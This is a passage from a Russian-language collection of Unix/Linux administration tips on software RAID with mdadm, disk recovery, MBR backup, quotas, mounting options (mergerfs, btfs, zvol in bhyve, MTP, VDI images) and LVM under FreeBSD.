       # mdadm -a /dev/md<0-6> /dev/sd<a-b><1-10>
    например:
       # mdadm -a /dev/md0 /dev/sdb1
    Нужно быть аккуратным с номерами разделов
    В случае ошибки, удалить компонент из RAID командой:
       # mdadm -r /dev/md0 /dev/sdb1
    получается не всегда - устройство может быть занято.
    
    
    Замена диска
    
    1. Выключить компьютер и заменить диск
    
    2. Включить компьютер  и определить имеющиеся на обоих дисках разделы:
       # fdisk /dev/sd<a-b> -l
    
    3. С помощью fdisk создать на новом диске разделы, идентичные оригиналу
    Необходимо пометить нужный раздел нового диска (sda1 или sdb1) как загрузочный
    до включения в зеркало.
    Swap-разделы не подлежат зеркалированию в программном RAID
    
    4. Выполнить Мониторинг состояния и Восстановление функционирования 
    
    
    Настройка оповещения
    
    Мониторинг выполняется с помощью crond ежечасно.
    В папку /etc/cron.haurly помещен файл mdRAIDmon, содержащий команду:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru
    
    Для проверки рассылки сообщения добавляется ключ --test:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru --test
    
    Помещая файл задания в папку, необходимо установить права доступа на выполнение
    Если нужно чаще, самое простое, добавьте в /etc/crontab строку, используя нотацию с "/", например:
       */5 * * * * root run-parts /etc/cron.my5min
    
    Конечно, можно попробовать и другие варианты планирования заданий с atd или batch. 
    
    Создайте папку /etc/cron.my5min и поместите туда файл mdRAIDmon
    C имитацией отказа диска мне было проще - сервер SR1425BK1 - с корзиной HotSwap
    
     
    ----* Почему после переноса Linux на другой диск LILO выдает "L 99 99..." (доп. ссылка 1)   Автор: Sergey Vlasov  [комментарии]
     
    При загрузке ядра LILO запоминает данные о назначении номеров BIOS для
    дисков, и потом при установке 
    загрузчика использует эти данные.  При смене устройства для загрузки в
    настройках BIOS номера дисков
    меняются (выбранный для загрузки диск получает номер 0x80), поэтому сохранённая lilo информация 
    перестаёт соответствовать реальной конфигурации.
    
    Нужно явно указать номера дисков в /etc/lilo.conf:
    
    disk=/dev/hda
    	bios=0x80
    disk=/dev/hdb
    	bios=0x81
    
     
    ----* Что можно сделать если на жестком диске появился bad-сектор (доп. ссылка 1)   [комментарии]
     
    Скачать smartmontools (http://smartmontools.sourceforge.net/)
    Выполнить:
       smartctl -a /dev/hda     # Посмотреть состояние
       smartctl -t long /dev/hda     # Провести тест
       smartctl -l selftest /dev/hda # Дождаться окончания теста и посмотреть результат
    
    При необходимости воспользоваться debugfs как написано в статье по ссылке.
    
     
    ----* Как сделать бэкап таблицы разделов диска   [обсудить]
     
    Бэкап MBR:
        dd if=/dev/hda of=mbr_backup.bin bs=1 count=512
    
    Для восстановления всего MBR поменять if/of местами.
    
    Таблица разделов находится в MBR по смещению 0x01BE (446) и состоит
    из 4 записей по 16 байт.
    
    Для восстановления только таблицы разделов:
        dd  if=mbr_backup.bin  of=/dev/устройство  bs=1 count=64 skip=446 seek=446
    
     
    ----* Если fsck сообщает "CANNOT FIX" и прекращает работу (доп. ссылка 1)   Автор: Oleg Polovinkin  [обсудить]
     
    (Во FreeBSD и Solaris)
    Можно удалить дефектный inode с помощью команды clri:
        clri <файловая-система> <номер-inode>
    и запустить снова fsck. При этом, к сожалению, файл теряется, но остальное спасется. 
    
     
    ----* Как попытаться восстановить данные с начавшего сбоить жесткого диска   Автор: uldus  [комментарии]
     
    Нужно вставить диск в заведомо рабочую машину (так как проблемы не обязательно
    в диске, контроллер может
    быть виной) с достаточным свободным местом на диске чтобы вместить весть объем
    сбойного диска  и сделать:
        dd if=/dev/hdb1 of=/usr/local/tmp/root_fs.img conv=noerror,sync bs=1024
        fsck -y /usr/local/tmp/root_fs.img
        mount -o loop /usr/local/tmp/root_fs.img /mnt (в Linux)
    Далее смотреть в /mnt, что удалось спасти.
    
    Монтирование файла как раздела в FreeBSD:
       vnconfig -r labels -c vn0 root_fs.img
       mount /dev/vn0 /mnt
    В FreeBSD для восстановления можно использовать утилиту ffsrecov из портов.
    
    Если fsck не находит superblock, то можно задать альтернативное размещение: 
    "fsck_ufs -b [16|32] .." для FreeBSD, 
    "fsck -b [8193|32768|16384]" - для Linux.
    
    Во FreeBSD в случае сбоя рекомендуется обратить внимание на порты:
    /usr/ports/sysutils/ddrescue
    /usr/ports/sysutils/ffs2recov
    /usr/ports/sysutils/gpart
    /usr/ports/sysutils/scan_ffs
    
     
    ----* Как размонтировать занятый неизвестным процессом CDROM   [комментарии]
     
    fuser -k -m /mnt/cdrom - убить процессы использующие /mnt/cdrom
    umount /mnt/cdrom
    
     

       Квоты

    ----* MySQL - квотирование баз под FreeBSD   Автор: Pahanivo  [комментарии]
     Хитрости квотирования MySQL.

    Каждую базу MySQL хранит в отдельном каталоге внутри datadir. MySQL работает под своим пользователем и соответственно создает файлы баз под им же. Соответственно квотирование в данном случае не возможно. Необходимо заставить его создавать файлы баз, влaдельцем которых будет конкретный квотируемый пользователь. Сделать это можно выставив бит SUID (4000) на каталог базы.

    Для начала:

    
         в ядре:
            options SUIDDIR
    
         в /etc/fstab:
            добавляем в список опций suiddir
    

    В MySQL создаем базу. Находим каталог базы в datadir. По умолчанию он будет mysql:mysql.

    
       Меняем владельца:
         chown sql-user databasedir
         теперь наш каталог sql-user:mysql
      
       Меняем права:  
           chmod 4070 databasedir
    

    Такая настройка заставит систему создавать файлы от имени владельца каталога (sql-user) причем сам пользователь не будет иметь к нему доступа. К нему будет иметь полный доступ MySQL (от группы mysql).

    Теперь мы можем использовать квоты как для обычных файлов. При превышении квот MySQL будет генерить ошибку full disk что является нормальным явлением и корректно отрабатывается MySQL, хотя сопровождается некоторыми проблемами: при запросе на добавление в базу, превысившую квоты, запрос повисает, повисают также последующие запросы, которые можно снять только их убийством или освобождением дополнительного места на диске. При дефолтных настройках это сразу вызовет проблему, так как такие запросы займут все сетевые соединения. Поэтому необходимо ОБЯЗАТЕЛЬНО ограничить максимальное количество подключений одного пользователя MySQL. В /etc/my.cnf:

    
       max_connections  = 500 (всего коннектов)
       max_user_connections = 30 (максимум для одного пользователя)
    

    Также возможно следующие - MySQL может пометить как поврежденные при останове сервера или когда временные файлы займут слишком много места на диске (второе судя по мануалам, не проверял). Лечится репаиром соотвествующих таблиц.

    Убить повисшие процессы может только root базы если они достигли max_user_connections.

    Не работает с таблицами innodb, так последние хранятся в одном месте независимо от базы.

    Коментируйте.

     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Установка дисковых квот в FreeBSD (доп. ссылка 1)   Автор: Igor  [обсудить]
     
    - в конфигурации ядра включаем "options QUOTA" и пересобираем ядро.
    - в /etc/rc.conf прописываем enable_quotas="YES" и check_quotas="YES"
    - указываем в fstab файловые системы, для которых будет включаться
    поддержка квот, например:
              /dev/da0s1e /home ufs rw,userquota  2  2
              /dev/ad0s1h  /new_home ufs  rw,groupquota 2 2
    - устанавливаем квоты для пользователей при помощи edquota, напр. "edquota user1"
    - если нужно установить одинаковые квоты для нескольких пользователей как у user1:
          edquota -p user1 user2 user3 user4 user5
    
     

       Монтирование

    ----* Подключение в BHyVe zvol-диска с другой машины   Автор: КриоМух  [комментарии]
     
    Ситуация такова: Когда-то давно в 2019 году, обратилась знакомая бухгалтер, с
    проблемой, что вирусы зашифровали все её базы 1С, хранящиеся на личном сервере,
    который ей поднял и оформил для работы по RDP - её айтишник. Когда вирус всё
    пожрал, внезапно обнаружилось, что отсутствуют резервные копии, так как они
    хранились на том же WIN-сервере, и оказались также пожранными. Более того, в
    процессе разбирательств с этой машиной, выяснилось, что там 4 диска, 2 - HDD и
    2 SSD - и при этом все они отдельными устройствами, без намёка на хоть какую-то
    реализацию зеркалирования. Айтишника этого она с позором выгнала (отказавшись с
    ним иметь дело) и обратилась ко мне.
    
    Понятно что не за восстановлением пожранного, а за организацией сервера, в
    работе и надёжности которого она бы могла быть уверена.
    
    Я как старый пользователь FreeBSD, конечно сразу ей сформировал предложение -
    эту её машину превратить в сервер на FreeBSD, а уже на нём развернуть виртуалку
    с виндой, 1С и всей этой нужной для её работы кухней.
    
    На предложение докупить ещё один ПК, чтобы был отдельной машиной для резервных
    копий - отказалась, так как женщина она во-первых бухгалтер, а во-вторых
    прижимистый бухгалтер :)
    
    Всё ей в итоге оформил в виде хоста на FreeBSD, c её ZFS-ным зеркалом на 2 HDD
    и 2 SSD, и самбой, на которую складировались ежедневные бэкапы, которые затем
    скриптом самого хоста перекладывались в samba-ресурс, доступный только на чтение.
    
    Виртуалку оформил на BHyVe'е, так как виртуалбокс  медленнен, а BHyVe и
    православный и производительней. Sparse - файлом оформил диск на HDD-пуле под
    систему в виртуалке, и SSD-пул - подключил zvol'ом как диск под базы 1С.
    
    Разворачивал BHyVe не голый, а с управлением с помощью vm-bhyve. Всё
    завелось и работало, как часы. Но через год-полтора, женщина-бухгалтер и со
    мной "рассталась", так как всё работало, а я за поддержку желал ежемесячную,
    оговорённую сумму.
    
    Никаких козней я понятное дело не строил, да и не собирался, так как честь
    IT-шную беречь должно всегда. И все актуальные копии хранилища со всеми
    доступами и чего там наворочено в её "инфраструктуре" я ей при внесении правок
    сразу высылал и при завершении сотрудничества также актуальную выдал, с
    пояснениями, что там всё что есть, все доступы и прочая-прочая, что может
    понадобиться знать любому, кто будет заниматься её сервером. Ответы на все
    вопросы так сказать. Всё.
    
    Собственно прошло 3-4 года, и вот недавно звонит она мне и говорит, что всё
    пропало. Сервак не грузится, её текущий админ не знает что со всем этим делать,
    так как с его слов "там сложная распределённая система и диски эти не может
    посмотреть". Короче сервак подох, ничего не работает, и ей главное выцарапать
    оттуда 1С базы.
    
    Получил, включил, смотрю: Действительно ничего не грузится, что-то там с uefi
    разделом, и загрузка дохнет на начальных этапах. Думаю - ничего страшного, там
    же бэкапы были, сейчас быстренько смонтирую пул, да последний достану и дело с
    концом. Загрузился с флешки, подмонтировал пул, который был HDD, под самбу -
    смотрю а бэкап последний лежит прошлогодний. Место на пуле закончилось, так как
    самбу они ещё и как файловую шару использовали и накидали туда всякого, что
    подъело весь ресурс и баз видимо 1С ещё добавилось, и бэкапы делаться просто не
    смогли, а текущий специалист, то ли не следил, то ли не знал как следить,
    короче перефразируя (надеюсь) из тех, кто: "Не следил и не проверял бэкапы, но
    теперь уже будет всегда это делать (ещё раз надеюсь)".
    
    Тогда остался один путь - получить данные непосредственно с диска в виртуалке,
    который реализован был как отдельный датасет на SSD пуле. Отцепил я значит один
    из SSD'шников и подключил к своему домашнему ПК, на котором у меня также
    FreeBSD и виртуалка BHyVe, с виндой, на случай если что-то виндовое
    потребуется. В общем вся соль этого была в подключении к BHyVe'овой машине
    диска оформленного как сырой ZFS-датасет. То есть в нём ни файлов нет, просто
    особого типа ZFS датасет.
    
    В итоге, чтобы его подключить на посторонней системе с FreeBSD, надо конечно
    первым делом ZFS-пул импортировать:
    
       zpool import -f
    
    -f нужен, так как он ругнётся что этот пул использовался на другой машине и
    вроде как может не надо его тут подключать.
    
    А после этого в 
    
       zfs list 
    
    ищем где наш датасет и объявляем его в конфигурации нашей рабочей виртуалки:
    
       disk1_type="virtio-blk"
       disk1_dev="custom"
       disk1_name="/dev/zvol/oldSSD/BHYVE/1C-BASES"
    
    И это тут так всё просто и безоблачно описано, а на деле я часа два наверное
    бодался с тем, как именно объявить zvol-овый диск в BHyVe. И в итоге
    
    
  • disk_type - должен быть virtio-blk
  • disk_dev - должен быть custom
  • disk_name - абсолютный путь к zvol'у в /dev, сперва это можно просто проверить ls'ом. Ну а дальше - ещё в самой загруженной ОСи диск не увиделся, но появился SCSI контроллер какой-то, который потребовал драйвера с диска virtio-win-0.1.229 и всё. Женщина - оплатила услуги непростого восстановления файлов, получила инструктаж на тему того, что её админ должен ей подтверждать что бэкап есть и он надёжен. Ну а она со своей стороны должна за этим бдить :)
  •  
    ----* Логическое объединение нескольких файловых систем при помощи mergerfs (доп. ссылка 1)   [комментарии]
     
    FUSE-модуль Mergerfs позволяет логически объединить несколько файловых
    систем в одну, например, для объединения разнесённых на разные диски коллекции
    видео или музыки в одну иерархию.
    
    
    В отличие от aufs и overlayfs в mergerfs не создаётся отдельного слоя для
    записи и данная ФС не может применяться поверх разделов, доступных в режиме
    только для чтения. Но mergerfs даёт возможность прямой записи в
    примонтированный раздел в соответствии с заданной политикой, например, запись
    может осуществляться в ФС, в которой больше свободного места. Также можно
    включить в один сводный раздел ФС, доступную на запись, и ФС только для чтения.
    В такой конфигурации операции записи будут производиться в разделе, который
    допускает запись.
    
    Среди особенностей mergerfs:  настройка поведения размещения новых файлов,
    работа в пространстве пользователей через FUSE,  поддержка расширенных
    атрибутов (xattrs) и смены атрибутов chattr, работа с различными ФС, поддержка
    POSIX ACL.
    
    Проектом собираются пакеты для Fedora, Debian и Ubuntu.
    
    Устанавливаем mergerfs в Fedora 31:
    
       wget https://github.com/trapexit/mergerfs/releases/download/2.29.0/mergerfs-2.29.0-1.fc31.x86_64.rpm
    
       sudo dnf install mergerfs-2.29.0-1.fc31.x86_64.rpm
    
    
    Допустим, в системе есть два раздела /disk1 и /disk2, на которых имеются  каталоги с видео:
    
       $ df -hT | grep disk
       /dev/sdb1      ext4      23M  386K 21M 2% /disk1
       /dev/sdc1      ext4      44M  1.1M 40M 3% /disk2
    
       $ ls -l /disk1/Videos/
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 2
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
    
    
    Создадим логический раздел /media, который будет включать в себя как  /disk1, так и /disk2:
    
       $ sudo mergerfs -o defaults,allow_other,use_ino,category.create=mfs,moveonenospc=true,minfreespace=1M /disk1:/disk2 /media
    
    где
    
        defaults - применение настроек по умолчанию
        allow_other - возможность доступа непривилегированных пользователей, а не только root
        use_ino - манипуляция исходными inode вместо libfuse для того, чтобы связанные файлы имели одинаковые inode.
        category.create=mfs - распределение новых файлов в зависимости от доступного свободного пространства.
        moveonenospc=true - в случае сбоя записи искать раздел с большим свободным местом.
        minfreespace=1M - минимальное свободное место для записи.
        disk1 - первый подключаемый раздел
        disk2 - второй подключаемый раздел
        /media - точка монтирования
    
    
    После монтирования получим:
    
       $ df -hT | grep media 
       1:2        fuse.mergerfs  66M      1.4M 60M 3% /media 
    
    
    Если скопировать в /media/Videos/ большой новый файл, для которого не хватает
    места в /disk1, но который вмещается в /disk2, то это файл будет размещён в
    разделе /disk2. Разделы /disk1 и /disk2 после монтирования остаются доступны
    для любых операций, /media объединяет их лишь логически.
    
       $ ls -lh file4.mkv
       -rw-rw-r--. 1 curt curt 30M Apr 20 08:45 file4.mkv
    
       $ cp file4.mkv /media/Videos/
    
    
       $ ls -l /disk1/Videos/ 
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 30003
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
       $ ls -l /media/Videos/
       total 30004
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file2.mkv
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
     
    ----* Монтирование содержимого Torrent-а в файловую систему   [комментарии]
     
    В рамках проекта btfs развивается FUSE-модуль, позволяющий примонтировать
    Torrent-файл или magnet-ссылку в качестве директории. После монтирования
    обращение к содержимому торрента осуществляется аналогично работе с обычной
    файловой системой. Например, можно запустить мультимедийный проигрыватель и
    просмотреть связанный с торрентом фильм.
    
    Важным отличием является то, что для работы с контентом не требуется его
    предварительная загрузка - содержимое загружается по мере необходимости.
    Например, при начале просмотра фильма начинается загрузка соответствующих
    частей файла, при смене позиции загружаются вновь запрошенные данные. Т.е.
    можно сразу оценить качество материала или получить доступ к отдельным файлам.
    
    Установка в Ubuntu:
    
       sudo add-apt-repository ppa:johang/btfs
       sudo apt-get update
       sudo apt-get install btfs
    
    Установка в Arch Linux:
    
       sudo pacman -S btfs
    
    Сборка в Debian:
    
       sudo apt-get install autoconf automake libfuse-dev libtorrent-rasterbar-dev libcurl4-openssl-dev
       git clone https://github.com/johang/btfs.git btfs
       cd btfs
       autoreconf -i
       ./configure
       make
    
    
    
    Монтирование:
    
      mkdir mnt
      btfs video.torrent mnt
    
    Просмотр:
    
      cd mnt
      vlc video.mp4
    
    Отключение:
    
      fusermount -u mnt
    
     
    ----* Безопасные опции монтирования разделов на примере Debian Wheezy (доп. ссылка 1)   Автор: Павел Самсонов  [комментарии]
     
    В данной заметке мы рассмотрим установку системы на несколько разделов по
    критерию опций монтирования.
    Я использую для установки системы 4 раздела:
    
    /boot - требуется отдельный раздел если остальная часть системы
    устанавливается на software raid.
    
    / - основной раздел на котором расположены все исполняемые файлы, хотя он может
    быть тоже раскидан по разным разделам, но уже не по критерию опций монтирования.
    
    /home - раздел домашних каталогов.
    
    /var - раздел переменных сред, который обычно не содержит исполняемых файлов.
    
    Итак я предлагаю вариант установки системы со следующими опциями монтирования
    (в моем примере это raspberry pi с установленным raspbian wheezy):
    
       pavel@pspi ~ $ cat /etc/fstab
       proc            /proc           proc    defaults          0       0
       /dev/mmcblk0p1  /boot           vfat    defaults,ro,noexec          0       2
       /dev/mmcblk0p2  /               ext2    defaults,ro          0       1
       /dev/mmcblk0p3  /var            ext2    defaults,noexec          0       1
       /dev/mmcblk0p5  /home           ext2    defaults,noexec          0       1
    
    Для раздела /boot я применил опции ro,noexec, так как записывать в него и
    исполнять при работе системы не надо.
    
    Для раздела / - опция ro - там содержатся исполняемые файлы, но они
    неизменяемы и записывать в раздел при нормальной работе ничего не требуется,
    только во время администрирования.
    
    Раздел /home смонтирован с опцией noexec - это мое решение, чтобы
    пользователи не скачивали и не запускали программы из ненадежных источников.
    
    Раздел /var смонтирован с noexec, так как обычно не содержит исполняемых файлов
    (за исключением /var/lib/dpkg) и выполнение тут не требуется.
    
    Посмотрим какие у нас еще остались виртуальные fs с опцией exec:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
       devtmpfs on /dev type devtmpfs (rw,relatime,size=218636k,nr_inodes=54659,mode=755)
       tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=89160k)
    
    Попробуем внести для них записи в /etc/fstab, чтобы система попробовала их
    перемонтировать с нашими опциями:
    
       devtmpfs        /dev            devtmpfs rw,noexec,relatime,size=218636k,nr_inodes=54659,mode=755
       tmpfs           /tmp            tmpfs rw,noexec,nosuid,nodev,relatime,size=89160k
    
    и перезагрузим систему получив:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
       devtmpfs on /dev type devtmpfs (rw,relatime,size=218636k,nr_inodes=54659,mode=755)
    
    Не сработало для fs /dev - для нее добавим в /etc/rc.local:
    
       mount /dev -o remount
    
    и снова перезагрузим систему получив:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
    
    Мы видим, что у нас все разделы смонтированы по возможности с noexec кроме /,
    который смонтирован readonly.
    
    При администрировании системы я перемонтирую разделы:
    
       pavel@pspi ~ $ sudo mount /var -o remount,exec
       pavel@pspi ~ $ sudo mount / -o remount,rw
    
    После администрирования:
    
       pavel@pspi ~ $ sudo mount / -o remount
       pavel@pspi ~ $ sudo mount /var -o remount
    
     
    ----* Монтирование Nexus 4 и других смартфонов на базе Android в Linux (доп. ссылка 1)   [комментарии]
     
    Для монтирования устройств Nexus 4/7/10, Sony Xperia S/Z и других моделей на
    базе платформы Android 4, перешедшей на использование протокола MTP для обмена
    файлами, в Ubuntu 12.04 можно использовать следующую инструкцию:
    
    
    Устанавливаем пакеты для монтирования разделов с использованием протокола MTP:
    
       sudo apt-get install mtp-tools mtpfs
    
    Меняем настройки в файле /etc/udev/rules.d/51-android.rules
     
      sudo vi /etc/udev/rules.d/51-android.rules
    
    Добавляем конец строку, поменяв idVendor на идентификатор вендора своего устройства
    
       #LG - Nexus 4
       SUBSYSTEM=="usb", ATTR{idVendor}=="1004", MODE="0666"
       #Samsung - Nexus 7 & 10
       SUBSYSTEM=="usb", SYSFS{idVendor}=="18d1", MODE="0666"
       # Sony Xperia
       SUBSYSTEM=="usb", SYSFS{idVendor}=="0fce", MODE="0666"
    
    Убедимся, что файл исполняемый:
    
       sudo chmod +x /etc/udev/rules.d/51-android.rules
    
    Перезапускаем udev:
    
       sudo service udev restart
    
    Создаём точку монтирования:
    
       sudo mkdir /media/nexus4
       sudo chmod 755 /media/nexus4
    
    Монтируем раздел по MTP:
    
       sudo mtpfs -o allow_other /media/nexus4
    
    После завершения работы размонтируем:
    
       sudo umount /media/nexus4
    
    
    В Ubuntu 13.04 в штатную поставку входит модуль gvfs-mtp, который позволяет
    работать с хранилищем через MTP через файловый менеджер GNOME. Для Ubuntu 12.10
    установить gvfs-mtp можно из PPA:
    
       sudo add-apt-repository ppa:langdalepl/gvfs-mtp
    
    Кроме MTP для доступа к файловой системе устройства удобно использовать интерфейс
    qtadb.
    
     
    ----* Монтирование устройств Android 4 в Ubuntu Linux при помощи go-mtpfs (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Начиная с третьей ветки в платформе Android изменился метод организации
    внешнего доступа к накопителю мобильного устройства. Если раньше устройство
    маскировалось под USB-накопитель, который воспринимался внешними системами как
    обычный USB Flash, то начиная с выпуска Android 3 для доступа к данным
    предлагается использовать разработанный компанией Microsoft протокол MTP
    (Media Transfer Protocol), поддержка которого в большинстве Linux-дистрибутивов
    недоступна из коробки. Причиной перехода на MTP является желание избавиться от
    основного недостатка старой реализации - необходимости размонтирования раздела
    перед его экспортом, из-за чего во время подключения раздела к ПК он становился
    недоступным для мобильного устройства.
    
    Наиболее простым способом обеспечения работы с Android 4 в Linux является
    установка из репозиториев или сборка из исходных текстов GTK-приложения gMTP
    (http://gmtp.sourceforge.net/), которое предоставляет графический интерфейс для
    работы с файлами на устройстве, в том числе даёт возможность перемещать файлы
    между gMTP и файловым менеджером в режиме Drag and Drop. При сборке
    рекомендуется использовать самую свежую версию библиотеки  libmtp
    (http://libmtp.sourceforge.net/), иначе в процессе работы время от времени
    приходится сталкиваться с проблемами. Готовые свежие сборки gMTP для Ubuntu
    можно загрузить из специального PPA-репозитория, а libmtp - здесь.
    
    
    Другим способом является монтирование MTP-устройств в виде дисковых разделов
    при помощи FUSE-модулей mtpfs или mtp-fuse. Следует отметить, что
    работают данные модули с некоторыми устройствами весьма нестабильно и оставляют
    желать лучшего в плане скорости копирования данных. Относительно недавно для
    решения проблем с ранее доступными FUSE-реализациями был создан FUSE-модуль [[https://github.com/hanwen/go-mtpfs
    Go-mtpfs]], из особенностей которого можно отметить необходимость установки для
    сборки компилятора языка программирования Go.
    
    
    Готовые сборки Go-mtpfs отныне доступны через PPA для Ubuntu 13.04, 12.10 и
    12.04. Unstable PPA используется для задействования самой свежей версии
    libmtp. Кроме того, подготовлен специальный апплет для оболочки Unity,
    позволяющий быстро монтировать и отмонтировать MTP-разделы.
    
    Установим Go-mtpfs из PPA:
    
       sudo add-apt-repository ppa:webupd8team/unstable
       sudo apt-get update
       sudo apt-get install go-mtpfs
    
    Установим дополнение для Unity:
    
       sudo apt-get install go-mtpfs-unity
    
    Для монитрования раздела вручную следует использовать команду:
    
       go-mtpfs /media/MyAndroid
    
    Для отмонтирования:
    
       fusermount -u /media/MyAndroid
    
    
    Для самостоятельной сборки go-mtpfs из Git-репозитория можно использовать
    следующую инструкцию, в результате которой будет подготовлен исполняемый файл /tmp/go/bin/go-mtpfs:
    
       sudo apt-get install golang fuse git-core libmtp-dev libfuse-dev
       sudo adduser $USER fuse
       mkdir /tmp/go 
       GOPATH=/tmp/go go get github.com/hanwen/go-mtpfs
      
    
    Кроме того, в состав libmtp входит несколько полезных утилит:
    
    Определение устройства:
    
       mtp-detect
    
    Подсоединение к устройству:
    
       mtp-connect
    
    Манипуляции с контентом на устройстве:
    
       mtp-albumart 
       mtp-getplaylist
       mtp-albums
       mtp-files
       mtp-sendfile
       mtp-folders  
       mtp-newfolder
       mtp-delfile
       mtp-newplaylist
       mtp-getfile
       mtp-playlists    
       mtp-tracks
    
    
       
    
     
    ----* Преобразование дисковых разделов для VirtualBox и обратно   [комментарии]
     
    Преобразование существующего дискового раздела в формат виртуальной машины VirtualBox.
    
    Создаем слепок дискового раздела /dev/sda1
    
       dd if=/dev/sda1 bs=512k of=os_image.img
    
    Преобразуем созданный образ в формат VDI:
    
       VBoxManage convertdd os_image.img os_image.vdi --format VDI
    
    
    
    Преобразование образа виртуальной машины для записи на диск/Flash.
    
    Если внутри виртуального диска один раздел, конвертируем VDI в сырой дамп:
    
       VBoxManage internalcommands converttoraw os_image.vdi os_image.img
    
    или 
    
       VBoxManage clonehd os_image.vdi /путь/os_image.img --format RAW
    
    Вычисляем смещение до нужного раздела:
    
       fdisk os_image.img
    
       Команда (m для справки): p
    
       Диск os_image.img: 0 МБ, 0 байт
       16 heads, 63 sectors/track, 0 cylinders
       Units = цилиндры of 1008 * 512 = 516096 bytes
       Sector size (logical/physical): 512 bytes / 512 bytes
       I/O size (minimum/optimal): 512 bytes / 512 bytes
       Disk identifier: 0x00000000
    
       Устр-во Загр     Начало    Конец    Блоки    Id  Система
       os_image.img1    1         213      107320+  83  Linux
    
    Раздел начинается с первого трека, значит смещение будет 63 * 512 = 32256
    
    Монтируем:
    
       sudo mount -o loop,offset=32256 os_image.img /mnt
    
    
    Записываем на диск /dev/sda8 (skip=63 - пропускаем 63 блока по 512 байт (bs=512)):
    
       dd if=os_image.img bs=512 skip=63 of=/dev/sda8
    
    если в образе больше одного раздела необходимо также указать размер копируемых
    данных через опцию count=N, где N - размер в 512 байтных блоках.
    
    Локальное монтирование статического VDI-образа.
    К ранее рассчитанному смещению для дискового раздела, нужно учесть размер
    заголовка (512 байт) и системного индекса VDI (4 байт на каждый мегабайт
    размера VDI).
    
       ls -al os_image.vdi
       -rw------- 1 test test 110101504 2010-12-20 21:47 os_image.vdi
    
    Для диска размером 105 Мб получаем смещение: 32256 + 512 + 4*(110101504/(1024*1024)) = 33188
    
    Значение 33188 дополняем до границы в 512 байт:
       echo "33188 - 33188 % 512 + 512" | bc
       33280
    
    Монтируем:
    
       mount -o loop,offset=33280 os_image.vdi /mnt/vdi
    
    Внимание ! Монтирование динамически расширяемых VDI невозможно, так как они
    имеют неоднородную структуру.
    
    Изменение размера VDI-образа:
    
    Самый простой способ создать пустой VDI нужного размера, из виртуального
    окружения разметить на нем ФС и скопировать данные. Любители графических
    интерфейсов могут загрузить в виртуальном окружении LiveCD c gparted (http://gparted.sourceforge.net/).
    
    Дополнение от pavlinux:
    
    Еще один метод локального монтирования статического VDI-образа.
    
       # modprobe nbd max_part=8 nbds_max=1
       # qemu-nbd --connect=/dev/nbd0 WindowsXPSP3.vdi
       # fdisk -l /dev/nbd0
    
       Устр-во Загр     Начало       Конец       Блоки   Id  Система
       /dev/nbd0p1   *           1        2813    22595391    7  HPFS/NTFS
    
       # mount -t ntfs-3g /dev/nbd0p1 /media/foofeel
       # ls  /media/foofeel
    
       AUTOEXEC.BAT  boot.ini    Documents and Settings  MSDOS.SYS 
    
     
    ----* Подключение LVM-разделов под FreeBSD   Автор: Владимир Чижиков (Skif)  [комментарии]
     
    При необходимости подключить диск с Linux машины с разделами под LVM на FreeBSD
    необходимо подгрузить необходимый тип файловой системы, с которой
    форматировался LVM раздел, а так же подгрузить модуль ядра (перекомпилировать
    ядро) для работы с LVM.
    Как определить, что на данном диске использовались LVM разделы?
    
    Вот так в sysinstall отображается диск с LVM разделом (Subtype 142):
    
       Disk name:      ad2                                    FDISK Partition Editor
       DISK Geometry:  4865 cyls/255 heads/63 sectors = 78156225 sectors (38162MB)
    
       Offset       Size(ST)        End     Name  PType       Desc  Subtype    Flags
    
             0         63         62        -     12     unused        0
            63     497952     498014    ad2s1      4     ext2fs      131
        498015   77658210   78156224    ad2s2      4    unknown      142
      78156225         63   78156287        -     12     unused        0
    
    либо вывод fdisk (sysid 142):
    
       # fdisk /dev/ad2
       ******* Working on device /dev/ad2 *******
       parameters extracted from in-core disklabel are:
       cylinders=77536 heads=16 sectors/track=63 (1008 blks/cyl)
    
       Figures below won't work with BIOS for partitions not in cyl 1
       parameters to be used for BIOS calculations are:
       cylinders=77536 heads=16 sectors/track=63 (1008 blks/cyl)
    
       Media sector size is 512
       Warning: BIOS sector numbering starts with sector 1
       Information from DOS bootblock is:
       The data for partition 1 is:
       sysid 131 (0x83),(Linux native)
        start 63, size 497952 (243 Meg), flag 80 (active)
            beg: cyl 0/ head 1/ sector 1;
            end: cyl 30/ head 254/ sector 63
       The data for partition 2 is:
       sysid 142 (0x8e),(unknown)
        start 498015, size 77658210 (37919 Meg), flag 0
            beg: cyl 31/ head 0/ sector 1;
            end: cyl 1023/ head 254/ sector 63
       The data for partition 3 is:
       <UNUSED>
       The data for partition 4 is:
       <UNUSED>
     
    Для монтирования LVM с EXT2/EXT3 файловой системой необходимо скомпилировать
    ядро с поддержкой EXT2FS:
    
       options EXT2FS
    
    либо добавить /boot/loader.conf строку:
    
       ext2fs_load="YES"
    
